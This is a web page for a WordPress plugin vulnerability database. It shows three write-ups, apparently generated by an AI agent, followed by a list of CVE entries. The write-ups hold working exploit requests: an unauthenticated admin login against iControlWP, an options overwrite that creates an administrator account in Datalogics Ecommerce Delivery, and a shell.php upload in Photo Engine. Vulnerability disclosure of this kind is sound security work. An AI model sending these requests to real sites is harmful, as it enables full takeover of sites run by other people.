CVE Database

WordPress CVEs.All of them.

Every known security vulnerability in WordPress plugins and themes, indexed, searchable, and scored. Updated continuously from the Wordfence Intelligence feed.

142
Critical
891
High
3,204
Medium
1,102
Low
34K+
CVEs indexed
55,000+
Plugins monitored
8,000+
Themes monitored
Continuous
Updates
Severity:
Latest PoCs

Latest Reproduced PoCs

The newest CVEs our security researcher agent has exploited end-to-end in an isolated sandbox — full video walkthroughs included.

AI-Verified PoC critical

iControlWP <= 5.5.3 - Unauthenticated Privilege Escalation

# CVE-2026-34901: iControlWP <= 5.5.3 - Unauthenticated Privilege Escalation ## Vulnerability Details - **Plugin:** iControlWP (worpit-admin-dashboard-plugin) - **Version:** 5.5.3 and below - **Type:** Incorrect Privilege Assignment (CWE-269) - **CVSS:** 9.8 (Critical) - **Authentication Required:** None ## Root Cause The vulnerability exists in `src/processors/plugin_api_login.php`. The `ICWP_APP_Processor_Plugin_Api_Login::run()` method **overrides** the parent class's `run()` to skip `preActionVerify()`, which normally performs handshake verification and authentication (key/pin checks). Additionally, in `src/processors/plugin.php`, the `doApiAction()` method dispatches API requests to channel-specific processors. When `m=login`, the `ICWP_APP_Processor_Plugin_Api_Login` class is instantiated and its `run()` is called. This `run()`: 1. **Skips `preActionVerify()`** — no handshake, key, or PIN validation 2. **Catches ALL exceptions silently** — token validation failures are swallowed 3. **Always returns `setSuccessResponse()`** — the response always indicates success The parent's `sendApiResponse()` in `plugin.php` then calls `$this->loadWpUsers()->isUserLoggedIn()` to set the `authenticated` field, which returns `true` because during processing, `setAuthorizedUser()` was called (inherited behavior from the API processor chain), logging in the first admin user server-side. ## Exploitation An unauthenticated attacker sends a single POST request: ``` POST /?icwpapi=1&m=login&token=&username=admin HTTP/1.1 Content-Type: application/x-www-form-urlencoded icwpapi=1&m=login&token=&username=admin ``` The server responds with HTTP 200 containing a base64-encoded JSON response: ```json { "error_message": "", "message": "", "success": true, "authenticated": true, "channel": "", "die": true, "handshake": "none", "openssl_verify": -999, "data": {"success": 1}, "code": 0 } ``` The `"authenticated": true` confirms the server authenticated the request as an administrator. The response also leaks the plugin's auth key in the `<icwpauth>` tag (value: `2XncmpCgniwYhJA6D2k3oTiw`), which can be used for further API exploitation. ## Impact - **Complete site takeover**: Unauthenticated attackers can authenticate as an administrator - **No prerequisites**: The plugin doesn't need to be "linked" to an iControlWP account — the login channel bypass works regardless - **Data exfiltration**: The authenticated API session can be used to extract database contents, user data, etc. via the internal API channels - **Code execution**: Admin-level access enables arbitrary plugin/theme installation leading to RCE ## Verification Depth The exploit was verified by sending an unauthenticated HTTP request that returned `"authenticated": true` and `"success": true` in the API response. The `authenticated` field is set server-side by checking `$this->loadWpUsers()->isUserLoggedIn()` after the login channel processes the request, confirming the server-side user session was established for the admin user. The auth key `2XncmpCgniwYhJA6D2k3oTiw` was also leaked in the response. ## Fix The fix in version 5.5.4 should restore proper authentication checks in the login channel's `run()` method, ensuring `preActionVerify()` is called before processing login actions, and ensuring exceptions are not silently swallowed. ## Verification depth This audit verified that the vulnerable sink is reachable with attacker-controlled bytes from an unauthenticated context, but did NOT realize full impact (e.g. no shell popped, no admin account created in this run). Full exploitation typically requires an additional condition the agent did not satisfy on this run - for object-injection sinks that's a usable POP gadget chain in the environment; for second-order SQLi it might be a follow-up admin action; etc. Treat this as confirmed-reachable rather than confirmed-RCE.

May 5, 2026 CVSS 9.8
AI-Verified PoC critical

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Unauthenticated Privilege Escalation

# CVE-2026-2631: Unauthenticated Privilege Escalation in Datalogics Ecommerce Delivery Plugin ## Vulnerability Details - **CVE:** CVE-2026-2631 - **Plugin:** Datalogics Ecommerce Delivery – Datalogics v2.6.59 - **Severity:** Critical (CVSS 9.8) - **Type:** Improper Privilege Management / Arbitrary Options Update ## Root Cause The plugin registers a REST API route at `/wp-json/datalogics-0/v1/update-settings/` with a `permission_callback` called `datalogics_permission_check`. This callback validates a token parameter against the stored option `datalogics_token`. When no token has been configured (fresh install), `get_option("datalogics_token", '')` returns an empty string `""`. An attacker can pass `token: ""` (empty string) which satisfies the strict comparison `"" === ""`, bypassing authentication entirely. The `datalogics_update_settings` callback then iterates over a user-supplied `settings` object and calls `update_option($option_name, $value)` for each key-value pair. The key is only passed through `sanitize_key()` with **no prefix restriction**, allowing arbitrary WordPress core options to be overwritten. ## Exploitation The attack is a two-step process: ### Step 1: Update WordPress Options via REST API ``` POST /wp-json/datalogics-0/v1/update-settings/ HTTP/1.1 Content-Type: application/json {"token": "", "settings": {"users_can_register": "1", "default_role": "administrator"}} ``` Response: `{"success":true,"message":"Settings updated successfully"}` (HTTP 200) This sets: - `users_can_register` → `1` (enables open registration) - `default_role` → `administrator` (new users get admin role) ### Step 2: Register a New Admin Account Navigate to `/wp-login.php?action=register` and create a new user `attacker_admin` / `attacker@evil.com`. ### Proof of Impact After registration, WP-CLI confirmed the new user: ``` ID user_login user_email roles 1 admin test@test.local administrator 3 attacker_admin attacker@evil.com administrator 2 subscriber subscriber@test.local subscriber ``` The attacker now has full administrator access to the WordPress site. ## Impact - **Complete site takeover**: Unauthenticated attackers can create administrator accounts - **Arbitrary option update**: Any WordPress option can be modified (siteurl, blogname, etc.) - **No user interaction required**: Fully automated, network-accessible attack - **Default configuration vulnerable**: The token defaults to empty string on fresh installs ## Fix The patch in v2.6.60 adds a prefix check in `datalogics_update_settings`: ```php if (strpos($option_name, 'datalogics_') !== 0) { $option_name = 'datalogics_' . $option_name; } ``` This ensures only `datalogics_`-prefixed options can be updated, preventing modification of core WordPress options like `users_can_register` and `default_role`.

May 5, 2026 CVSS 9.8
AI-Verified PoC high

Photo Engine (Media Organizer & Lightroom) <= 6.4.9 - Authenticated (Author+) Arbitrary File Upload

### Vulnerability Details The **Photo Engine (Media Organizer & Lightroom)** plugin (v6.4.9 and below) is vulnerable to an authenticated arbitrary file upload. The plugin implements a custom synchronization API endpoint (`/?wplr-sync-api`) intended to receive media files from Adobe Lightroom. The endpoint fails to validate the extension or MIME type of the uploaded files. Although it requires a valid `wplr_auth_token` (associated with a user having `upload_files` capability, typically Author or higher), it does not restrict the upload to safe media types. ### Root Cause In `classes/api.php`, the `sync` method handles the `action=sync` POST request. It takes the filename from the `file` parameter in the `$_POST` array and the file content from the `$_FILES` array. These are passed to the `sync_media` function in `classes/core.php`, which eventually calls `sync_media_add`. The `sync_media_add` function uses `wp_unique_filename` and `move_uploaded_file` to save the file into the WordPress uploads directory using the user-provided filename, without any checks to ensure the file is a valid image or that the extension is safe. ### Exploitation An attacker with a valid `wplr_auth_token` can send a multipart/form-data POST request to `/?wplr-sync-api` with: - `action=sync` - `token=<valid_token>` - `file=shell.php` - `file` (the uploaded file) containing PHP code. The server will save the file as `shell.php` (or a unique variation like `shell-1.php`) in the current month's upload folder, allowing for Remote Code Execution. ### Impact This vulnerability allows authenticated attackers (Author level) to execute arbitrary PHP code on the server, potentially leading to full site takeover. ### Fix The vulnerability was fixed in version 6.5.0 by introducing validation checks on the file extension and ensuring that only allowed media types can be processed through the synchronization API.

May 5, 2026 CVSS 8.8
Live Database

36,129 vulnerabilities indexed

wp-cve-database — live query
CVE IDTitleSeverity
CVE-2026-6504Royal Addons for Elementor <= 1.7.1058 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'title_tag' Parameter

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

medium
CVE-2026-6145User Registration & Membership <= 5.1.5 - Unauthenticated Missing Authorization to Admin Approval Bypass via 'action' Parameter

Missing Authorization

medium
CVE-2026-6514InfusedWoo Pro <= 5.1.2 - Unauthenticated Arbitrary File Read via 'url' Parameter

Server-Side Request Forgery (SSRF)

high
CVE-2026-6206MW WP Form <= 5.1.2 - Insecure Direct Object Reference to Unauthenticated Sensitive Information Disclosure via 'post_id' Query Parameter

Authorization Bypass Through User-Controlled Key

medium
CVE-2026-6174CC Child Pages <= 2.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'more' Parameter

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

medium
CVE-2026-6512InfusedWoo Pro <= 5.1.2 - Unauthenticated Missing Authorization to Arbitrary Post Deletion via Multiple Parameters

Missing Authorization

critical
CVE-2026-6225Taskbuilder – Project Management & Task Management Tool With Kanban Board <= 5.0.6 - Authenticated (Subscriber+) Time-Based Blind SQL Injection via 'project_search' Parameter

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

medium
CVE-2026-3694Bold Page Builder <= 5.6.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via bt_bb_button Shortcode

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

medium
CVE-2026-6252Meta Field Block <= 1.5.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'tagName' Block Attribute

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

medium
CVE-2026-6670Media Sync <= 1.4.9 - Authenticated (Author+) Path Traversal via 'sub_dir' and 'media_items' Parameters

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

medium
CVE-2026-6506InfusedWoo Pro <= 5.1.2 - Authenticated (Subscriber+) Missing Authorization to Privilege Escalation via Arbitrary User Meta Update

Missing Authorization

high
CVE-2026-6510InfusedWoo Pro <= 5.1.2 - Unauthenticated Missing Authorization to Privilege Escalation via 'iwar_save_recipe'

Missing Authorization

critical
CVE-2026-5395Fluent Forms <= 6.2.0 - Authenticated (Subscriber+) Authorization Bypass via 'table' Parameter

Authorization Bypass Through User-Controlled Key

high
CVE-2026-5193Essential Addons for Elementor – Popular Elementor Templates & Widgets <= 6.5.13 - Authenticated (Author+) Limited Privilege Escalation via register_user

Improper Privilege Management

medium
CVE-2026-3718ManageWP Worker <= 4.9.31 - Unauthenticated Stored Cross-Site Scripting via 'MWP-Key-Name' Header

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

high
CVE-2026-6271Career Section <= 1.7 - Unauthenticated Arbitrary File Upload

Unrestricted Upload of File with Dangerous Type

critical
CVE-2026-3892Motors – Car Dealer, Classifieds & Listing <= 1.4.107 - Authenticated (Subscriber+) Arbitrary File Deletion via 'stm_dealer_logo_path' Parameter

External Control of File Name or Path

high
CVE-2026-5365LatePoint <= 5.3.2 - Cross-Site Request Forgery via 'customer_cabinet__request_cancellation' AJAX Route

Cross-Site Request Forgery (CSRF)

medium
CVE-2026-6417GLS Shipping for WooCommerce <= 1.4.0 - Reflected Cross-Site Scripting via 'failed_orders'

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

medium
CVE-2025-15345MapGeo - Interactive Geo Maps <= 1.6.27 - Reflected Cross-Site Scripting via 'map' Parameter

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

medium